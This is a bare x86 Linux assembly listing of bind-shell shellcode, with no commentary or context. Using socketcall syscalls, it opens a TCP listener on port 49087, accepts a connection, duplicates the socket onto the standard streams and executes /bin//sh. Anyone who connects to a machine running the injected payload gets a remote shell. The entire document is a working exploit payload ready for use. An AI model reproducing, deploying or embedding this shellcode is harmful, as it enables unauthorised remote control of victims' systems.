.globl main main: nop __BEGIN__: xor %ebx, %ebx socket: push %ebx inc %ebx push %ebx push $0x2 push $0x66 pop %eax cdq mov %esp, %ecx int $0x80 xchg %eax, %esi bind: push %edx inc %ebx pushw $0xbfbf pushw %bx mov %esp, %ecx push $0x66 pop %eax push %eax push %ecx push %esi mov %esp, %ecx int $0x80 listen: mov $0x66, %al shl %ebx int $0x80 accept: push %edx push %edx push %esi inc %ebx mov %esp, %ecx mov $0x66, %al int $0x80 xchg %eax, %ebx dup: push $0x2 pop %ecx dup_loop: mov $0x3f, %al int $0x80 dec %ecx jns dup_loop execve: push %edx push $0x68732f2f push $0x6e69622f mov %esp, %ebx push %edx push %ebx mov %esp, %ecx mov $0xb, %al int $0x80 __END__: nop